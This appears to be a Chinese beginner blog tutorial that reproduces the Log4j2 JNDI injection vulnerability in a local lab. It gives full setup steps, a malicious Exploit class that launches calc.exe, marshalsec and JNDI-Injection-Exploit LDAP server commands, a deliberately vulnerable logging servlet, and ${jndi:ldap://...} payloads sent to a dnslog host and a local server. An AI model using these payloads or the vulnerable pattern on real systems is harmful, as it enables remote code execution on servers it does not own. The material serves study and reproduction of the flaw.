美文网首页Java子弹
Log4j2漏洞复现(小白向教程)

Log4j2漏洞复现(小白向教程)

作者: 走错说爱你 | 来源:发表于2021-12-14 21:53 被阅读0次

    最近,出来了个Log4j2的漏洞,安全圈跟过年了一样,于是也跟着热闹热闹。

    Log4j2作为一个开源的Java日志记录插件,被众多项目引用,因此,当其漏洞出现时,影响的范围也极大,可以算是继Python的request库之后的又一重大供应链攻击了。

    对其漏洞进行了复现和分析,这里做个记录。

    实验环境

    • Windows 10
    • jdk 1.8.121(理论上JDK 6u211、7u201、8u191之前的版本都行)
    • Tomcat v9.0
    • marshalsec(用JNDI-Injection-Exploit也可)

    环境搭建

    jdk安装

    下载指定版本的jdk,双击安装即可,记得勾选将Java添加到path中这个选项,完事之后,在命令行窗口输入java -version查看版本号,出现如下所示界面即为安装成功:

    安装成功

    maven安装

    去官网https://maven.apache.org/download.cgi下载maven:

    下载maven

    然后解压,放到自己电脑的安装目录,然后新建一个系统变量,名字为MAVEN_HOME,内容为安装目录(放到哪就填哪):

    新建系统变量

    最后在命令行窗口输入命令mvn -v测试一下:

    maven安装成功

    Tomcat安装

    在官网https://tomcat.apache.org/下载对应版本的Tomcat即可,这里因为用的jdk1.8,所以下载Tomcat 9.0:

    下载Tomcat

    这里选择了其直接运行安装的版本:


    Tomcat下载

    直接双击安装即可,其中除了端口号需要指定(默认也可),以及选择安装目录为上文jdk的安装目录外,其他默认即可:


    选择目录

    Eclipse安装&配置Tomcat

    直接去官网下载免安装Eclipse免安装版本,然后解压即可

    解压完成之后,双击eclipse.exe打开软件,随意选择一个文件夹为项目地址,然后启动即可。

    eclipse启动之后,需要对其环境进行配置。点击上方Window->Preferences->Java->Compiler,选择Compiler Compliance level为对应的Java环境,这里选择1.8

    设定编译器
    Window->Preferences->Java->Installed JREs中,点击右边Add...按钮添加本机的jdk:
    添加本机jdk

    然后点击上方Window->Preferences->Server->Runtime Environment->Add...添加Tomcat服务器,在弹出的对话框中选择Apache->Apache Tomcat v9.0,然后点击Next

    配置Tomcat.png

    在弹出的对话框中点击Browse...按钮,选择之前Tomcat的安装目录,然后JRE选择jdk1.8.0_121,点击Finish即可:

    选择本地Tomcat

    然后在对话框中选择我们刚刚添加的Tomcat之后点击下方应用按钮:


    应用Tomcat配置.png

    新建项目

    完事之后,新建一个Java web项目,依次点击上方File->New->Dynamic Web Project

    新建项目.png

    然后输入项目名称,选择目标运行环境,这里选择Tomcat v9.0,其他默认即可,然后点击Finish完成创建:

    项目创建.png

    在项目处鼠标右键,选择Properties,按照下图所示设置Java环境:

    设定Java环境1
    设定Java环境2

    然后点击上方Window->Show View->Servers创建服务,会在下方出现链接,提示No servers are available. Click this link to create a new server...

    创建服务.png

    点击该链接,在弹出的对话框中选择Tomcat 9作为服务器,点击下一步:


    新建服务.png

    然后点击我们的项目,点击Add >按钮,添加到右边的框中完成配置,最后点击Finish按钮:

    选择项目

    完事之后,会在下方出现我们添加的服务,鼠标右键单击服务,选择Start启动服务:

    启动服务.png

    这个时候报了个错,说是端口被占用:


    报错.png

    问题不大,双击服务,在上方图示位置配置一下端口即可:


    配置端口.png

    攻击复现

    这里有两种复现方式,分别是使用marshalsec和JNDI-Injection-Exploit进行LDAP服务的搭建以进行复现,其功能对比如下:

    marshalsec JNDI-Injection-Exploit
    是否需要自己编写恶意类代码
    是否可以自定义恶意类名
    是否可指定LDAP服务端口 是,可在命令行指定端口 是,但需更改源码,之后重新编译打包
    恶意类代码是否需要搭建Web Server

    总的来说,使用marshalsec搭建LDAP服务进行复现能够更加自由,但所需步骤也更加繁琐;相比之下,JNDI-Injection-Exploit封装程度更高,复现起来更加简单,但不如marshalsec能够实现的功能丰富

    使用marshalsec搭建LDAP服务

    恶意类编写&上线

    首先编写一个恶意类:

    public class Exploit {
        public Exploit(){
            try{
                String[] commands = {"calc.exe"};
                Process pc = Runtime.getRuntime().exec(commands);
                pc.waitFor();
            } catch(Exception e){
                e.printStackTrace();
            }
        }
    
        public static void main(String[] argv) {
            Exploit e = new Exploit();
        }
    }
    

    将该文件保存为Exploit.java,名称得和类名一致,然后打开文件所在根目录的命令行窗口,运行命令编译该类为.class文件:

    javac Exploit.java
    

    完事之后会在当前目录生成Exploit.class文件:

    编译成功

    在命令行窗口运行命令启动一个web服务,以方便该类的下载:

    python3 -m http.server 8800
    
    启动web服务

    可以使用浏览器访问看看效果:


    浏览器访问

    启动LDAP服务

    下载marshalsec,在其根目录打开命令行窗口,执行以下命令打包为jar包:

    mvn clean package -DskipTests
    

    完了之后会在当前目录生成一个target文件夹:

    打包完成

    其中就是我们需要用到的jar包:


    jar包

    然后运行在当前目录运行命令:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8800/#Exploit"
    

    然后报了个错,说是端口被占用:

    端口被占用
    使用命令netstat -ano查看了一下,并没有找到该端口被占用的情况,于是干脆给marshalsec指定端口,使用以下命令运行:
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8800/#Exploit" 8801
    
    使用指定端口运行marshalsec

    因此,payload即为:

    ${jndi:ldap://127.0.0.1:8801/Exploit}
    

    使用JNDI-Injection-Exploit搭建LDAP服务进行复现

    首先下载JNDI-Injection-Exploit源码,由于本机1389端口依然被占用,所以需要更改JNDI-Injection-Exploit-master\src\main\java\run文件夹下的ServerStart.java文件的源码内容:

    更改ldap端口
    然后使用maven打包:
    mvn clean package -DskipTests
    

    完事之后出现target目录,其中就有我们需要的jar包,在target目录下运行命令启动ldap服务:

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A "127.0.0.1"
    

    其中,-C后面的为想要执行的命令,-A后面的为服务运行的地址,也就是本机地址,由于攻防都在同一机器上,就没有使用公网IP:

    运行JNDI-Injection-Exploit
    由于我们使用的为jdk1.8,因此payload也就为:
    ${jndi:ldap://127.0.0.1:8176/9e4fb5}
    

    后面的步骤使用的marshalsec进行复现,不过如果使用JNDI-Injection-Exploit,也只需要更换payload即可,这两个工具都只是为了搭建ldap服务,编写恶意命令而已

    启动Log4j2

    在之前创建的项目处右键单击,选择新建servlet:


    新建servlet

    然后输入包名和servlet类名即可:


    servlet配置

    然后复制粘贴内容如下:

    package com.dubito;
    
    import java.io.*;
    import javax.servlet.ServletException;
    import javax.servlet.annotation.WebServlet;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import org.apache.logging.log4j.LogManager;
    import org.apache.logging.log4j.Logger;
    
    
    
    @WebServlet("/Log4j2Servlet")
    public class Log4j2Servlet extends HttpServlet {
        private static final long serialVersionUID = 1L;
        private static final Logger logger = LogManager.getLogger(Log4j2Servlet.class);
        /**
         * @see HttpServlet#HttpServlet()
         */
        public Log4j2Servlet() {
            super();
            // TODO Auto-generated constructor stub
        }
    
        /**
         * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
         */
        protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
            // TODO Auto-generated method stub
            response.setContentType("text/html");
            response.setHeader("Content-Type", "text/html; charset=utf-8");
            System.out.println(request.getQueryString());
    
    
            // Hello
            PrintWriter out = response.getWriter();
            out.println("<html><body>");
            out.println("<h1>Hello World!</h1>");
            out.println("</body></html>");
        }
    
        /**
         * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
         */
        protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
            // TODO Auto-generated method stub
            String name = request.getParameter("aaa");
            System.out.println(name);
            logger.error(name);
            response.setContentType("text/html");
            response.setHeader("Content-Type", "text/html; charset=utf-8");
            PrintWriter out = response.getWriter();
            out.println("<html><body>");
            out.println("<h1>Got it!</h1>");
            out.println("</body></html>");
        }
    }
    

    其中,在doPost函数内,设定使用参数aaa接收用户输入,然后使用logger.error()打印用户输入的字符作为日志信息,也就是在这个函数中,Log4j2存在命令执行的漏洞,可以使用形如${}的字符串调用Lookup以执行命令
    完成之后,会发现eclipse报错,这是因为没有导入包的缘故。

    官网下载Log4j2的包:

    下载Log4j2

    解压之后会出现好多jar包,然后将jar包拖到src->main->webapp->WEB-INF->lib文件夹内,然后在弹窗中选择Copy files,最终结果:

    拖入jar包

    然后项目处右键,选择Build Path->Configure Build Path...

    构建path
    在右侧选择Libraries,点击Add jars...添加jar包:
    添加jar包

    然后启动服务:


    启动服务

    浏览器访问一下,发现服务构建成功:


    构建成功
    然后使用hackbar发送payload:
    ${jndi:ldap://ds5bia.dnslog.cn}
    

    其中的地址为dnslog申请的地址:


    hackbar发送payload

    发现报错java.lang.IllegalArgumentException: 在请求目标中找到无效字符。有效字符在RFC 7230和RFC 3986中定义

    报错
    这是由于请求的参数包含特殊字符无法被解析,于是编辑server中的server.xml文件,将以下代码加入到图示位置:
     relaxedPathChars="{}[],%/" relaxedQueryChars="{}[],%/"
    
    添加允许的字符

    然后再运行一遍,发现dnslog成功回显:


    dnslog复现成功

    然后使用以下payload进行RCE:

    ${jndi:ldap://127.0.0.1:8801/Exploit}
    

    发现报错:

    RCE报错
    显示Reference Class Name: foo,这是由于jdk1.8.121-191的版本开启了安全选项(1.8.191及其以上的版本限制更加严格,可能导致复现失败,建议采用文章开头推荐的版本),于是在源码中进行设置,允许远程URL:
    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
    
    设置属性

    然后再次运行,进行RCE,发现成功:


    RCE成功

    PS:如果发现上述问题还是没有得到解决,请仔细核对下图所示的地方查看jdk版本是否符合要求(即是否为JDK 6u211、7u201、8u191之前的版本):


    查看运行环境

    如果不是的话,请参考前文eclipse环境配置处分别配置eclipse的Java编译器环境、系统环境、服务运行环境为符合条件的jdk。

    如果所有环境配置完毕,但上图位置显示的环境还是不对,重新建项目,再来一次就可以了

    如果环境对了,dnslog复现成功,但使用插件复现不成功,请确认端口一致性:


    端口一致

    如果端口确保一致,但请求链接cmd窗口依然没有更新,可以尝试在窗口按一下enter键,有可能是因为长时间没有操作窗口卡了

    参考资料

    相关文章

      网友评论

        本文标题:Log4j2漏洞复现(小白向教程)

        本文链接:https://www.haomeiwen.com/subject/teasfrtx.html